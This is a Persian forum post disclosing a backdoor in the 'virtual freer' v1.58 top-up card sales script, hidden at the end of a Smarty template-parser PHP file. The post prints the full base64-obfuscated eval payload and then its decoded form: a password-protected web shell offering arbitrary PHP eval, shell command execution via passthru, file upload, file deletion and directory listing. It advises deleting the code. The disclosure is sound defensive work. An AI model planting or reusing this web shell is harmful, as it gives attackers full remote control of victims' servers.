سلام
چند وقت پیش هنگام بررسی اسکریپت virtual freer(فروش کارت شارژ یا ...) متوجه 1 حفره در این اسکریپت شدم.
با این حفره برنامه نویس این اسکریپت به راحتی می تونه هرکاری بخواد بکنه !
مشکل از فایل virtual_freer_v1.58\include\libs\smarty\sysplugins \smarty_internal_templateparser.php هستش که انتهای این فایل این کد افزوده شده:
کد PHP:
<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApO3NldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtzZXNzaW9uX3N0YXJ 0KCk7DQokYmxhY2s9JzhmNzU4YmNhZWNmMjkxMDllOGQzMGVhYmJkZGEzOWU2JzsNCmlmKG1kNSgkX1J FUVVFU1RbJ2JsYWNrJ10pPT0kYmxhY2sgb3IgJF9TRVNTSU9OWydsb2dpbiddPT0nMScpew0KJF9TRVN TSU9OWydsb2dpbiddPScxJzsNCmlmKCRfUkVRVUVTVFsnZXZhbCddKXtldmFsKCRfUkVRVUVTVFsnZXZ hbCddKTt9aWYoJF9SRVFVRVNUWydkbCddKXt1bmxpbmsoZ2V0Y3dkKCkuRElSRUNUT1JZX1NFUEFSQVR PUi4kX1JFUVVFU1RbJ2RsJ10pO30NCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID0 9ICJ3aW4iKXskcz0iXFwiO31lbHNleyRzPSIvIjt9JGFkPSRfUkVRVUVTVFsnYWQnXTsNCmlmICgkYWQ pe2NoZGlyKCRhZCk7fWVsc2V7JGFkPWdldGN3ZCgpO31pZiAoJF9GSUxFU1siZmYiXSl7bW92ZV91cGx vYWRlZF9maWxlKCRfRklMRVNbImZmIl1bInRtcF9uYW1lIl0sICRfRklMRVNbImZmIl1bIm5hbWUiXSk 7fQ0KaWYgKCRociA9IG9wZW5kaXIoJGFkKSkge3doaWxlKCRmID0gcmVhZGRpcigkaHIpKXtpZihpc19 kaXIoJGYpKXskZGY9JGRmLiRmLicNCic7fWVsc2V7JGxmPSRsZi4kZi4nDQonO319Y2xvc2VkaXIoJGh yKTt9JGZvcm09Jzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9Z2V0Pic7ZWNobyAnPGNlbnRlcj48dGV4dGF yZWEgY29scz05MCByb3dzPTIwPic7aWYoJF9HRVRbJ2NtZSddKXtwYXNzdGhydSgkX0dFVFsnY21lJ10 pO31lbHNle2VjaG8gJGRmLiRsZjt9O2VjaG8nPC90ZXh0YXJlYT4nLiRmb3JtLidDaGFuZ2UgRGlyIDo gPGlucHV0IG5hbWU9YWQgc2l6ZT01MCB2YWx1ZT0nLmdldGN3ZCgpLiRzLic+PGlucHV0IHR5cGU9c3V ibWl0IHZhbHVlPUdvPjwvZm9ybT4nLiRmb3JtLidDb21tYW5kIEV4ZWN1dGUgOiA8aW5wdXQgbmFtZT1 jbWUgc2l6ZT01MCB2YWx1ZT1pZD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPWVYZWN1dGU+PC9mb3J tPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9cG9zdCBlbmN0eXBlPW11bHRpcGFydC9mb3JtLWRhdGE+VXB sb2FkIDogPGlucHV0IHNpemU9NTAgdHlwZT1maWxlIG5hbWU9ZmYgPiA8aW5wdXQgdHlwZT1oaWRkZW4 gbmFtZT1hZCB2YWx1ZT0nLmdldGN3ZCgpLic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVNlbmQ+PC9 mb3JtPic7DQp9')); ?>
خوب کد رو دیکد می کنیم:
کد PHP:
error_reporting(0);
set_magic_quotes_runtime(0);
session_start();
$black='8f758bcaecf29109e8d30eabbdda39e6';
if(md5($_REQUEST['black'])==$black or $_SESSION['login']=='1'){
$_SESSION['login']='1';
if($_REQUEST['eval']){eval($_REQUEST['eval']);}if($_REQUEST['dl']){unlink(getcwd().DIRECTORY_SEPARATOR.$_REQUEST['dl']);}
if(strtolower(substr(PHP_OS, 0, 3)) == "win"){$s="\\";}else{$s="/";}$ad=$_REQUEST['ad'];
if ($ad){chdir($ad);}else{$ad=getcwd();}if ($_FILES["ff"]){move_uploaded_file($_FILES["ff"]["tmp_name"], $_FILES["ff"]["name"]);}
if ($hr = opendir($ad)) {while($f = readdir($hr)){if(is_dir($f)){$df=$df.$f.'
';}else{$lf=$lf.$f.'
';}}closedir($hr);}$form='<form action="" method=get>';echo '<center><textarea cols=90 rows=20>';if($_GET['cme']){passthru($_GET['cme']);}else{echo $df.$lf;};echo'</textarea>'.$form.'Change Dir : <input name=ad size=50 value='.getcwd().$s.'><input type=submit value=Go></form>'.$form.'Command Execute : <input name=cme size=50 value=id> <input type=submit value=eXecute></form><form action="" method=post enctype=multipart/form-data>Upload : <input size=50 type=file name=ff > <input type=hidden name=ad value='.getcwd().'><input type=submit value=Send></form>';
}
برای رفعش تنها کافیه این تیکه کد رو حذف کنید.
منبع : http://forum.iranphp.org/Thread-%D9%...-virtual-freer